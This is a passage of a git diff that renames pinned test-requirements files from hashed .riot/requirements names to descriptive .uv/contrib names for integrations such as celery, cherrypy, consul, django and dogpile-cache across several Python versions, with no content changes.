.riot/requirements/17fe359.txt rename to .uv/contrib-botocore--botocore-py39-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt diff --git a/.riot/requirements/15dee3b.txt b/.uv/contrib-bottle--bottle-py39-bottle-gte-0-12-lt-0-13.txt similarity index 100% rename from .riot/requirements/15dee3b.txt rename to .uv/contrib-bottle--bottle-py39-bottle-gte-0-12-lt-0-13.txt diff --git a/.riot/requirements/573fdbf.txt b/.uv/contrib-bottle--bottle-py39-bottle-latest.txt similarity index 100% rename from .riot/requirements/573fdbf.txt rename to .uv/contrib-bottle--bottle-py39-bottle-latest.txt diff --git a/.riot/requirements/654f8c0.txt b/.uv/contrib-celery--celery-py310-celery-redis-latest.txt similarity index 100% rename from .riot/requirements/654f8c0.txt rename to .uv/contrib-celery--celery-py310-celery-redis-latest.txt diff --git a/.riot/requirements/1df4aa0.txt b/.uv/contrib-celery--celery-py311-celery-redis-latest.txt similarity index 100% rename from .riot/requirements/1df4aa0.txt rename to .uv/contrib-celery--celery-py311-celery-redis-latest.txt diff --git a/.riot/requirements/1509aa1.txt b/.uv/contrib-celery--celery-py312-celery-redis-latest.txt similarity index 100% rename from .riot/requirements/1509aa1.txt rename to .uv/contrib-celery--celery-py312-celery-redis-latest.txt diff --git a/.riot/requirements/dbc6a48.txt b/.uv/contrib-celery--celery-py313-celery-redis-latest.txt similarity index 100% rename from .riot/requirements/dbc6a48.txt rename to .uv/contrib-celery--celery-py313-celery-redis-latest.txt diff --git a/.riot/requirements/19507e4.txt b/.uv/contrib-celery--celery-py314-celery-redis-latest.txt similarity index 100% rename from .riot/requirements/19507e4.txt rename to .uv/contrib-celery--celery-py314-celery-redis-latest.txt diff --git a/.riot/requirements/c61da82.txt b/.uv/contrib-celery--celery-py39-celery-5-2-celery-redis-3-5.txt similarity index 100% rename from .riot/requirements/c61da82.txt rename to .uv/contrib-celery--celery-py39-celery-5-2-celery-redis-3-5.txt diff --git a/.riot/requirements/1edaced.txt b/.uv/contrib-celery--celery-py39-celery-latest-celery-redis-3-5.txt similarity index 100% rename from .riot/requirements/1edaced.txt rename to .uv/contrib-celery--celery-py39-celery-latest-celery-redis-3-5.txt diff --git a/.riot/requirements/fe43c7c.txt b/.uv/contrib-cherrypy--cherrypy-py310-cherrypy-17-0-0-cherrypy-typing-extensions-latest.txt similarity index 100% rename from .riot/requirements/fe43c7c.txt rename to .uv/contrib-cherrypy--cherrypy-py310-cherrypy-17-0-0-cherrypy-typing-extensions-latest.txt diff --git a/.riot/requirements/1da0270.txt b/.uv/contrib-cherrypy--cherrypy-py310-cherrypy-gte-17-lt-18-cherrypy-typing-extensions-latest.txt similarity index 100% rename from .riot/requirements/1da0270.txt rename to .uv/contrib-cherrypy--cherrypy-py310-cherrypy-gte-17-lt-18-cherrypy-typing-extensions-latest.txt diff --git a/.riot/requirements/101f000.txt b/.uv/contrib-cherrypy--cherrypy-py310-cherrypy-gte-18-0-lt-19-cherrypy.txt similarity index 100% rename from .riot/requirements/101f000.txt rename to .uv/contrib-cherrypy--cherrypy-py310-cherrypy-gte-18-0-lt-19-cherrypy.txt diff --git a/.riot/requirements/1a92267.txt b/.uv/contrib-cherrypy--cherrypy-py310-cherrypy-latest-cherrypy.txt similarity index 100% rename from .riot/requirements/1a92267.txt rename to .uv/contrib-cherrypy--cherrypy-py310-cherrypy-latest-cherrypy.txt diff --git a/.riot/requirements/640d59b.txt b/.uv/contrib-cherrypy--cherrypy-py311-cherrypy-gte-18-0-lt-19-cherrypy.txt similarity index 100% rename from .riot/requirements/640d59b.txt rename to .uv/contrib-cherrypy--cherrypy-py311-cherrypy-gte-18-0-lt-19-cherrypy.txt diff --git a/.riot/requirements/e82070b.txt b/.uv/contrib-cherrypy--cherrypy-py311-cherrypy-latest-cherrypy.txt similarity index 100% rename from .riot/requirements/e82070b.txt rename to .uv/contrib-cherrypy--cherrypy-py311-cherrypy-latest-cherrypy.txt diff --git a/.riot/requirements/9f052d0.txt b/.uv/contrib-cherrypy--cherrypy-py312-cherrypy-gte-18-0-lt-19-cherrypy.txt similarity index 100% rename from .riot/requirements/9f052d0.txt rename to .uv/contrib-cherrypy--cherrypy-py312-cherrypy-gte-18-0-lt-19-cherrypy.txt diff --git a/.riot/requirements/793e383.txt b/.uv/contrib-cherrypy--cherrypy-py312-cherrypy-latest-cherrypy.txt similarity index 100% rename from .riot/requirements/793e383.txt rename to .uv/contrib-cherrypy--cherrypy-py312-cherrypy-latest-cherrypy.txt diff --git a/.riot/requirements/bc64f49.txt b/.uv/contrib-cherrypy--cherrypy-py313-cherrypy-gte-18-0-lt-19-cherrypy.txt similarity index 100% rename from .riot/requirements/bc64f49.txt rename to .uv/contrib-cherrypy--cherrypy-py313-cherrypy-gte-18-0-lt-19-cherrypy.txt diff --git a/.riot/requirements/1ebb239.txt b/.uv/contrib-cherrypy--cherrypy-py313-cherrypy-latest-cherrypy.txt similarity index 100% rename from .riot/requirements/1ebb239.txt rename to .uv/contrib-cherrypy--cherrypy-py313-cherrypy-latest-cherrypy.txt diff --git a/.riot/requirements/7f62003.txt b/.uv/contrib-cherrypy--cherrypy-py314-cherrypy-gte-18-0-lt-19-cherrypy.txt similarity index 100% rename from .riot/requirements/7f62003.txt rename to .uv/contrib-cherrypy--cherrypy-py314-cherrypy-gte-18-0-lt-19-cherrypy.txt diff --git a/.riot/requirements/18278c9.txt b/.uv/contrib-cherrypy--cherrypy-py314-cherrypy-latest-cherrypy.txt similarity index 100% rename from .riot/requirements/18278c9.txt rename to .uv/contrib-cherrypy--cherrypy-py314-cherrypy-latest-cherrypy.txt diff --git a/.riot/requirements/d95803b.txt b/.uv/contrib-cherrypy--cherrypy-py39-cherrypy-17-0-0-cherrypy-typing-extensions-latest.txt similarity index 100% rename from .riot/requirements/d95803b.txt rename to .uv/contrib-cherrypy--cherrypy-py39-cherrypy-17-0-0-cherrypy-typing-extensions-latest.txt diff --git a/.riot/requirements/163c8d2.txt b/.uv/contrib-cherrypy--cherrypy-py39-cherrypy-gte-17-lt-18-cherrypy-typing-extensions-latest.txt similarity index 100% rename from .riot/requirements/163c8d2.txt rename to .uv/contrib-cherrypy--cherrypy-py39-cherrypy-gte-17-lt-18-cherrypy-typing-extensions-latest.txt diff --git a/.riot/requirements/b910bfb.txt b/.uv/contrib-cherrypy--cherrypy-py39-cherrypy-gte-18-0-lt-19-cherrypy.txt similarity index 100% rename from .riot/requirements/b910bfb.txt rename to .uv/contrib-cherrypy--cherrypy-py39-cherrypy-gte-18-0-lt-19-cherrypy.txt diff --git a/.riot/requirements/19dee8b.txt b/.uv/contrib-cherrypy--cherrypy-py39-cherrypy-latest-cherrypy.txt similarity index 100% rename from .riot/requirements/19dee8b.txt rename to .uv/contrib-cherrypy--cherrypy-py39-cherrypy-latest-cherrypy.txt diff --git a/.riot/requirements/1cd7c2e.txt b/.uv/contrib-consul--consul-py310-python-consul-gte-1-1-lt-1-2.txt similarity index 100% rename from .riot/requirements/1cd7c2e.txt rename to .uv/contrib-consul--consul-py310-python-consul-gte-1-1-lt-1-2.txt diff --git a/.riot/requirements/1ab75a5.txt b/.uv/contrib-consul--consul-py310-python-consul-latest.txt similarity index 100% rename from .riot/requirements/1ab75a5.txt rename to .uv/contrib-consul--consul-py310-python-consul-latest.txt diff --git a/.riot/requirements/107e1ae.txt b/.uv/contrib-consul--consul-py311-python-consul-gte-1-1-lt-1-2.txt similarity index 100% rename from .riot/requirements/107e1ae.txt rename to .uv/contrib-consul--consul-py311-python-consul-gte-1-1-lt-1-2.txt diff --git a/.riot/requirements/9f4d6f1.txt b/.uv/contrib-consul--consul-py311-python-consul-latest.txt similarity index 100% rename from .riot/requirements/9f4d6f1.txt rename to .uv/contrib-consul--consul-py311-python-consul-latest.txt diff --git a/.riot/requirements/1f99050.txt b/.uv/contrib-consul--consul-py312-python-consul-gte-1-1-lt-1-2.txt similarity index 100% rename from .riot/requirements/1f99050.txt rename to .uv/contrib-consul--consul-py312-python-consul-gte-1-1-lt-1-2.txt diff --git a/.riot/requirements/16b152c.txt b/.uv/contrib-consul--consul-py312-python-consul-latest.txt similarity index 100% rename from .riot/requirements/16b152c.txt rename to .uv/contrib-consul--consul-py312-python-consul-latest.txt diff --git a/.riot/requirements/d638313.txt b/.uv/contrib-consul--consul-py313-python-consul-gte-1-1-lt-1-2.txt similarity index 100% rename from .riot/requirements/d638313.txt rename to .uv/contrib-consul--consul-py313-python-consul-gte-1-1-lt-1-2.txt diff --git a/.riot/requirements/4edb820.txt b/.uv/contrib-consul--consul-py313-python-consul-latest.txt similarity index 100% rename from .riot/requirements/4edb820.txt rename to .uv/contrib-consul--consul-py313-python-consul-latest.txt diff --git a/.riot/requirements/16d3c69.txt b/.uv/contrib-consul--consul-py314-python-consul-gte-1-1-lt-1-2.txt similarity index 100% rename from .riot/requirements/16d3c69.txt rename to .uv/contrib-consul--consul-py314-python-consul-gte-1-1-lt-1-2.txt diff --git a/.riot/requirements/fbcf227.txt b/.uv/contrib-consul--consul-py314-python-consul-latest.txt similarity index 100% rename from .riot/requirements/fbcf227.txt rename to .uv/contrib-consul--consul-py314-python-consul-latest.txt diff --git a/.riot/requirements/1652e36.txt b/.uv/contrib-consul--consul-py39-python-consul-gte-1-1-lt-1-2.txt similarity index 100% rename from .riot/requirements/1652e36.txt rename to .uv/contrib-consul--consul-py39-python-consul-gte-1-1-lt-1-2.txt diff --git a/.riot/requirements/ad22fca.txt b/.uv/contrib-consul--consul-py39-python-consul-latest.txt similarity index 100% rename from .riot/requirements/ad22fca.txt rename to .uv/contrib-consul--consul-py39-python-consul-latest.txt diff --git a/.riot/requirements/b084483.txt b/.uv/contrib-datastreams--datastreams-latest-py310.txt similarity index 100% rename from .riot/requirements/b084483.txt rename to .uv/contrib-datastreams--datastreams-latest-py310.txt diff --git a/.riot/requirements/a53d339.txt b/.uv/contrib-datastreams--datastreams-latest-py311.txt similarity index 100% rename from .riot/requirements/a53d339.txt rename to .uv/contrib-datastreams--datastreams-latest-py311.txt diff --git a/.riot/requirements/1f18768.txt b/.uv/contrib-datastreams--datastreams-latest-py312.txt similarity index 100% rename from .riot/requirements/1f18768.txt rename to .uv/contrib-datastreams--datastreams-latest-py312.txt diff --git a/.riot/requirements/8c5e899.txt b/.uv/contrib-datastreams--datastreams-latest-py313.txt similarity index 100% rename from .riot/requirements/8c5e899.txt rename to .uv/contrib-datastreams--datastreams-latest-py313.txt diff --git a/.riot/requirements/c69f571.txt b/.uv/contrib-datastreams--datastreams-latest-py314.txt similarity index 100% rename from .riot/requirements/c69f571.txt rename to .uv/contrib-datastreams--datastreams-latest-py314.txt diff --git a/.riot/requirements/191885c.txt b/.uv/contrib-datastreams--datastreams-latest-py39.txt similarity index 100% rename from .riot/requirements/191885c.txt rename to .uv/contrib-datastreams--datastreams-latest-py39.txt diff --git a/.riot/requirements/862273e.txt b/.uv/contrib-ddtrace-api--ddtrace-api-py310.txt similarity index 100% rename from .riot/requirements/862273e.txt rename to .uv/contrib-ddtrace-api--ddtrace-api-py310.txt diff --git a/.riot/requirements/a012a26.txt b/.uv/contrib-ddtrace-api--ddtrace-api-py311.txt similarity index 100% rename from .riot/requirements/a012a26.txt rename to .uv/contrib-ddtrace-api--ddtrace-api-py311.txt diff --git a/.riot/requirements/785f3f9.txt b/.uv/contrib-ddtrace-api--ddtrace-api-py312.txt similarity index 100% rename from .riot/requirements/785f3f9.txt rename to .uv/contrib-ddtrace-api--ddtrace-api-py312.txt diff --git a/.riot/requirements/1e38375.txt b/.uv/contrib-ddtrace-api--ddtrace-api-py313.txt similarity index 100% rename from .riot/requirements/1e38375.txt rename to .uv/contrib-ddtrace-api--ddtrace-api-py313.txt diff --git a/.riot/requirements/1204574.txt b/.uv/contrib-ddtrace-api--ddtrace-api-py314.txt similarity index 100% rename from .riot/requirements/1204574.txt rename to .uv/contrib-ddtrace-api--ddtrace-api-py314.txt diff --git a/.riot/requirements/1a68ae7.txt b/.uv/contrib-ddtrace-api--ddtrace-api-py39.txt similarity index 100% rename from .riot/requirements/1a68ae7.txt rename to .uv/contrib-ddtrace-api--ddtrace-api-py39.txt diff --git a/.riot/requirements/8567c69.txt b/.uv/contrib-django--django-celery-py312-celery-latest-gevent-latest-typing-extensions-latest-sqlalchemy-2.txt similarity index 100% rename from .riot/requirements/8567c69.txt rename to .uv/contrib-django--django-celery-py312-celery-latest-gevent-latest-typing-extensions-latest-sqlalchemy-2.txt diff --git a/.riot/requirements/750c562.txt b/.uv/contrib-django--django-celery-py39-celery-latest-gevent-latest-typing-extensions-latest-sqlalchemy.txt similarity index 100% rename from .riot/requirements/750c562.txt rename to .uv/contrib-django--django-celery-py39-celery-latest-gevent-latest-typing-extensions-latest-sqlalchemy.txt diff --git a/.riot/requirements/1f94b6b.txt b/.uv/contrib-django--django-py310-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-2.txt similarity index 100% rename from .riot/requirements/1f94b6b.txt rename to .uv/contrib-django--django-py310-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-2.txt diff --git a/.riot/requirements/1814da7.txt b/.uv/contrib-django--django-py310-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-3.txt similarity index 100% rename from .riot/requirements/1814da7.txt rename to .uv/contrib-django--django-py310-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-3.txt diff --git a/.riot/requirements/31b4d3f.txt b/.uv/contrib-django--django-py311-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-2.txt similarity index 100% rename from .riot/requirements/31b4d3f.txt rename to .uv/contrib-django--django-py311-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-2.txt diff --git a/.riot/requirements/3684eab.txt b/.uv/contrib-django--django-py311-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-3.txt similarity index 100% rename from .riot/requirements/3684eab.txt rename to .uv/contrib-django--django-py311-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-3.txt diff --git a/.riot/requirements/409087d.txt b/.uv/contrib-django--django-py312-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-2.txt similarity index 100% rename from .riot/requirements/409087d.txt rename to .uv/contrib-django--django-py312-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-2.txt diff --git a/.riot/requirements/2720069.txt b/.uv/contrib-django--django-py312-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-3.txt similarity index 100% rename from .riot/requirements/2720069.txt rename to .uv/contrib-django--django-py312-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-3.txt diff --git a/.riot/requirements/1b62531.txt b/.uv/contrib-django--django-py313-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-2.txt similarity index 100% rename from .riot/requirements/1b62531.txt rename to .uv/contrib-django--django-py313-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-2.txt diff --git a/.riot/requirements/7691722.txt b/.uv/contrib-django--django-py313-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-3.txt similarity index 100% rename from .riot/requirements/7691722.txt rename to .uv/contrib-django--django-py313-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-3.txt diff --git a/.riot/requirements/1fc39d7.txt b/.uv/contrib-django--django-py39-django-2-2-0-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne.txt similarity index 100% rename from .riot/requirements/1fc39d7.txt rename to .uv/contrib-django--django-py39-django-2-2-0-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne.txt diff --git a/.riot/requirements/47aa8cc.txt b/.uv/contrib-django--django-py39-django-3-0-0-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne.txt similarity index 100% rename from .riot/requirements/47aa8cc.txt rename to .uv/contrib-django--django-py39-django-3-0-0-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne.txt diff --git a/.riot/requirements/1053dc0.txt b/.uv/contrib-django--django-py39-django-4-0-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne.txt similarity index 100% rename from .riot/requirements/1053dc0.txt rename to .uv/contrib-django--django-py39-django-4-0-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne.txt diff --git a/.riot/requirements/7e85837.txt b/.uv/contrib-django--django-py39-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-2.txt similarity index 100% rename from .riot/requirements/7e85837.txt rename to .uv/contrib-django--django-py39-django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-2.txt diff --git a/.riot/requirements/1db8fe7.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py310-django-3-2-djangorestframework-gte-3-11-lt-3-12.txt similarity index 100% rename from .riot/requirements/1db8fe7.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py310-django-3-2-djangorestframework-gte-3-11-lt-3-12.txt diff --git a/.riot/requirements/101b183.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py310-djangorestframework-3-13-django-4-0-djangorestframework.txt similarity index 100% rename from .riot/requirements/101b183.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py310-djangorestframework-3-13-django-4-0-djangorestframework.txt diff --git a/.riot/requirements/18036be.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py310-djangorestframework-latest-django-4-0-djangorestframework.txt similarity index 100% rename from .riot/requirements/18036be.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py310-djangorestframework-latest-django-4-0-djangorestframework.txt diff --git a/.riot/requirements/4e9a8ca.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py311-djangorestframework-3-13-django-4-0-djangorestframework.txt similarity index 100% rename from .riot/requirements/4e9a8ca.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py311-djangorestframework-3-13-django-4-0-djangorestframework.txt diff --git a/.riot/requirements/7d76ff9.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py311-djangorestframework-latest-django-4-0-djangorestframework.txt similarity index 100% rename from .riot/requirements/7d76ff9.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py311-djangorestframework-latest-django-4-0-djangorestframework.txt diff --git a/.riot/requirements/1cc2b88.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py312-djangorestframework-3-13-django-4-0-djangorestframework.txt similarity index 100% rename from .riot/requirements/1cc2b88.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py312-djangorestframework-3-13-django-4-0-djangorestframework.txt diff --git a/.riot/requirements/fa62093.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py312-djangorestframework-latest-django-4-0-djangorestframework.txt similarity index 100% rename from .riot/requirements/fa62093.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py312-djangorestframework-latest-django-4-0-djangorestframework.txt diff --git a/.riot/requirements/1d760c6.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py313-djangorestframework-3-13-django-4-0-djangorestframework.txt similarity index 100% rename from .riot/requirements/1d760c6.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py313-djangorestframework-3-13-django-4-0-djangorestframework.txt diff --git a/.riot/requirements/1ea0ab7.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py313-djangorestframework-latest-django-4-0-djangorestframework.txt similarity index 100% rename from .riot/requirements/1ea0ab7.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py313-djangorestframework-latest-django-4-0-djangorestframework.txt diff --git a/.riot/requirements/127edb7.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py39-django-3-2-djangorestframework-gte-3-11-lt-3-12.txt similarity index 100% rename from .riot/requirements/127edb7.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py39-django-3-2-djangorestframework-gte-3-11-lt-3-12.txt diff --git a/.riot/requirements/3feb72d.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py39-djangorestframework-3-12-4-django-gte-2-2-lt-2-3-djangorestframework.txt similarity index 100% rename from .riot/requirements/3feb72d.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py39-djangorestframework-3-12-4-django-gte-2-2-lt-2-3-djangorestframework.txt diff --git a/.riot/requirements/1cf7f11.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py39-djangorestframework-3-13-1-django-gte-2-2-lt-2-3-djangorestframework.txt similarity index 100% rename from .riot/requirements/1cf7f11.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py39-djangorestframework-3-13-1-django-gte-2-2-lt-2-3-djangorestframework.txt diff --git a/.riot/requirements/18bf990.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py39-djangorestframework-3-13-django-4-0-djangorestframework.txt similarity index 100% rename from .riot/requirements/18bf990.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py39-djangorestframework-3-13-django-4-0-djangorestframework.txt diff --git a/.riot/requirements/1dacc91.txt b/.uv/contrib-django-djangorestframework--django-djangorestframework-py39-djangorestframework-latest-django-4-0-djangorestframework.txt similarity index 100% rename from .riot/requirements/1dacc91.txt rename to .uv/contrib-django-djangorestframework--django-djangorestframework-py39-djangorestframework-latest-django-4-0-djangorestframework.txt diff --git a/.riot/requirements/11cd1a5.txt b/.uv/contrib-django-hosts--django-django-hosts-py310-django-hosts-4-0-django-3-2.txt similarity index 100% rename from .riot/requirements/11cd1a5.txt rename to .uv/contrib-django-hosts--django-django-hosts-py310-django-hosts-4-0-django-3-2.txt diff --git a/.riot/requirements/2215008.txt b/.uv/contrib-django-hosts--django-django-hosts-py310-django-hosts-5-0-django-hosts-django-4-0.txt similarity index 100% rename from .riot/requirements/2215008.txt rename to .uv/contrib-django-hosts--django-django-hosts-py310-django-hosts-5-0-django-hosts-django-4-0.txt diff --git a/.riot/requirements/1e77d23.txt b/.uv/contrib-django-hosts--django-django-hosts-py310-django-hosts-latest-django-hosts-django-4-0.txt similarity index 100% rename from .riot/requirements/1e77d23.txt rename to .uv/contrib-django-hosts--django-django-hosts-py310-django-hosts-latest-django-hosts-django-4-0.txt diff --git a/.riot/requirements/792f843.txt b/.uv/contrib-django-hosts--django-django-hosts-py311-django-hosts-5-0-django-hosts-django-4-0.txt similarity index 100% rename from .riot/requirements/792f843.txt rename to .uv/contrib-django-hosts--django-django-hosts-py311-django-hosts-5-0-django-hosts-django-4-0.txt diff --git a/.riot/requirements/13180f0.txt b/.uv/contrib-django-hosts--django-django-hosts-py311-django-hosts-latest-django-hosts-django-4-0.txt similarity index 100% rename from .riot/requirements/13180f0.txt rename to .uv/contrib-django-hosts--django-django-hosts-py311-django-hosts-latest-django-hosts-django-4-0.txt diff --git a/.riot/requirements/1407476.txt b/.uv/contrib-django-hosts--django-django-hosts-py312-django-hosts-5-0-django-hosts-django-4-0.txt similarity index 100% rename from .riot/requirements/1407476.txt rename to .uv/contrib-django-hosts--django-django-hosts-py312-django-hosts-5-0-django-hosts-django-4-0.txt diff --git a/.riot/requirements/2877cc1.txt b/.uv/contrib-django-hosts--django-django-hosts-py312-django-hosts-latest-django-hosts-django-4-0.txt similarity index 100% rename from .riot/requirements/2877cc1.txt rename to .uv/contrib-django-hosts--django-django-hosts-py312-django-hosts-latest-django-hosts-django-4-0.txt diff --git a/.riot/requirements/10c216c.txt b/.uv/contrib-django-hosts--django-django-hosts-py313-django-hosts-5-0-django-hosts-django-4-0.txt similarity index 100% rename from .riot/requirements/10c216c.txt rename to .uv/contrib-django-hosts--django-django-hosts-py313-django-hosts-5-0-django-hosts-django-4-0.txt diff --git a/.riot/requirements/11e6ad6.txt b/.uv/contrib-django-hosts--django-django-hosts-py313-django-hosts-latest-django-hosts-django-4-0.txt similarity index 100% rename from .riot/requirements/11e6ad6.txt rename to .uv/contrib-django-hosts--django-django-hosts-py313-django-hosts-latest-django-hosts-django-4-0.txt diff --git a/.riot/requirements/d78868d.txt b/.uv/contrib-django-hosts--django-django-hosts-py39-django-hosts-4-0-django-3-2.txt similarity index 100% rename from .riot/requirements/d78868d.txt rename to .uv/contrib-django-hosts--django-django-hosts-py39-django-hosts-4-0-django-3-2.txt diff --git a/.riot/requirements/1ac29e1.txt b/.uv/contrib-django-hosts--django-django-hosts-py39-django-hosts-5-0-django-hosts-django-4-0.txt similarity index 100% rename from .riot/requirements/1ac29e1.txt rename to .uv/contrib-django-hosts--django-django-hosts-py39-django-hosts-5-0-django-hosts-django-4-0.txt diff --git a/.riot/requirements/e6e4cca.txt b/.uv/contrib-django-hosts--django-django-hosts-py39-django-hosts-latest-django-hosts-django-4-0.txt similarity index 100% rename from .riot/requirements/e6e4cca.txt rename to .uv/contrib-django-hosts--django-django-hosts-py39-django-hosts-latest-django-hosts-django-4-0.txt diff --git a/.riot/requirements/58c4ca5.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py310-dogpile-cache-0-6-0-dogpile-cache.txt similarity index 100% rename from .riot/requirements/58c4ca5.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py310-dogpile-cache-0-6-0-dogpile-cache.txt diff --git a/.riot/requirements/1d0d96c.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py310-dogpile-cache-0-9-dogpile-cache.txt similarity index 100% rename from .riot/requirements/1d0d96c.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py310-dogpile-cache-0-9-dogpile-cache.txt diff --git a/.riot/requirements/27a0418.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py310-dogpile-cache-1-0-dogpile-cache.txt similarity index 100% rename from .riot/requirements/27a0418.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py310-dogpile-cache-1-0-dogpile-cache.txt diff --git a/.riot/requirements/1159a5a.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py310-dogpile-cache-latest-dogpile-cache.txt similarity index 100% rename from .riot/requirements/1159a5a.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py310-dogpile-cache-latest-dogpile-cache.txt diff --git a/.riot/requirements/1a38af9.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py311-dogpile-cache-0-9-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/1a38af9.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py311-dogpile-cache-0-9-dogpile-cache-2.txt diff --git a/.riot/requirements/61ae1ec.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py311-dogpile-cache-1-0-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/61ae1ec.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py311-dogpile-cache-1-0-dogpile-cache-2.txt diff --git a/.riot/requirements/aa4ae37.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py311-dogpile-cache-1-1-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/aa4ae37.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py311-dogpile-cache-1-1-dogpile-cache-2.txt diff --git a/.riot/requirements/12f6833.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py311-dogpile-cache-latest-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/12f6833.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py311-dogpile-cache-latest-dogpile-cache-2.txt diff --git a/.riot/requirements/10c6e12.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py312-dogpile-cache-0-9-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/10c6e12.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py312-dogpile-cache-0-9-dogpile-cache-2.txt diff --git a/.riot/requirements/51b9c26.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py312-dogpile-cache-1-0-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/51b9c26.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py312-dogpile-cache-1-0-dogpile-cache-2.txt diff --git a/.riot/requirements/e895ba1.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py312-dogpile-cache-1-1-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/e895ba1.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py312-dogpile-cache-1-1-dogpile-cache-2.txt diff --git a/.riot/requirements/159a2a4.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py312-dogpile-cache-latest-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/159a2a4.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py312-dogpile-cache-latest-dogpile-cache-2.txt diff --git a/.riot/requirements/1ba390a.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py313-dogpile-cache-0-9-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/1ba390a.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py313-dogpile-cache-0-9-dogpile-cache-2.txt diff --git a/.riot/requirements/1a485c9.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py313-dogpile-cache-1-0-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/1a485c9.txt rename to .uv/contrib-dogpile-cache--dogpile-cache-py313-dogpile-cache-1-0-dogpile-cache-2.txt diff --git a/.riot/requirements/1bf4d76.txt b/.uv/contrib-dogpile-cache--dogpile-cache-py313-dogpile-cache-1-1-dogpile-cache-2.txt similarity index 100% rename from .riot/requirements/1bf4d76.txt rename to 